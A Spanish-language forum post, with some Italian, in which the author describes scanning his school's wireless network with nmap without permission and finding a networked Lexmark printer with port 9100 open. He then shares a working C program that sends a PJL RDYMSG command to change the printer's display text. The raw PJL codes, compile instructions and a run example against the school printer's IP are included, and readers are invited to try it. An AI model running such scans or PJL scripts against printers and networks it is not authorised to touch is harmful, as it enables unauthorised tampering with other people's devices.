Hoy estaba en la escuela conectado a la red wireless, hice un nmap -T Insane -A 192.168.1.0/24, para ver los equipos que estaban conectados a la red y las puertas abiertas.
Bueno, me aparecio questa IP: 192.168.1.27 con il nombre (Lexmark.. bla bla bla), si es una impresora, con muchos ports abiertos y uno de estos era el 9100.
9100 TCP PDL Data Stream
Buscando buscando y googleando y buscando mas, cai en una pagina donde ensenyaban el PJL (Pritner Job Language), con unos codigos. Estos codigos eran unos comandos que enviados a la impresora habrian hecho algo!
Pense pense y pense, y llegue a la conclusion y me dije:
"Mateo, tu sabes programar en C, haz un programa que te envie ese comando para hacer algo en la impresora no?"
Y me puse a trabajar, el comando que use fue el de cambiar lo que hay escrito en la impresora (en la pantallita).
Llegando a este resultado (Me disculpo por la resolucion pero la hice con el celular y no tenia que verme el profesor)
En italiano "PACCHISSIMO" que se pronuncia "PAKKISSIMO" es una cosa mal hecha o con resultados no buenos.
Ese es el texto ya modificado! A placer obviamente. Ahora les dejo el codigo de mi programita. Pruebenlo y diganme que tal!
Código
Les prometo que entro sabado pondre muchas mas imagenes del nmap, asi entenderan mejor!
//Daxgon #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <stdio.h> #define PORT 9100 int main (int argc, char *argv[]) { int sockfd,len,bytes_sent; struct hostent *host; struct sockaddr_in dest_addr; char line[100]; if (argc !=3) { printf("\tIl messaggio non puo essere piu lungo di 16 caratteri\n"); exit(1); } if ( (host=gethostbyname(argv[1])) == NULL) { perror("La funzione gethostbyname ha prodotto un errore"); exit(1); } printf ("Stampanti Hack By: Dax\n"); printf ("Hostname: %s\n", argv[1]); printf ("Messaggio: %s\n",argv[2]); dest_addr.sin_family= host->h_addrtype; dest_addr.sin_port= htons(PORT) ; bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length); bzero(&(dest_addr.sin_zero), 8); printf ("Socket....\n"); if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { perror("Errore con il socket"); exit(1); } printf ("Connettendo....\n"); if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){ perror("Errore durante la connessione"); exit(1);} //Questo è il codice della stampante strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \""); strncat(line,argv[2],44); strcat(line,"\"\r\n\033%-12345X\r\n"); printf ("Inviando dati...%d\n",strlen(line)); printf ("Linea: %s\n",line); bytes_sent=send(sockfd,line,strlen(line),0); printf("Inviati %d bytes\n",bytes_sent); close(sockfd); }
Si tienen dudas escribanme!
Big Up!
PS. Ahora estoy trabajando en un programa que me controla la impresora desde el computer. Pudiendo manejar todo lo que es posible. Quando este acabado y funcione lo dejare libre
Ah si, los codigos son estos por si no habian entendido.
Ec%-12345X@PJL RDYMSG DISPLAY="MESSAGE"
Ec%-12345X
Para compilar en Linux:
gcc -o nombredelarchivofinal nombredelarchivoenc.c
Y para ejecutar tenes que pasarle 2 argumentos. La IP local de la impresora y el mensaje ES:
./hackdisplay 192.168.1.27 "Este mensaje se vedra en la pantalla"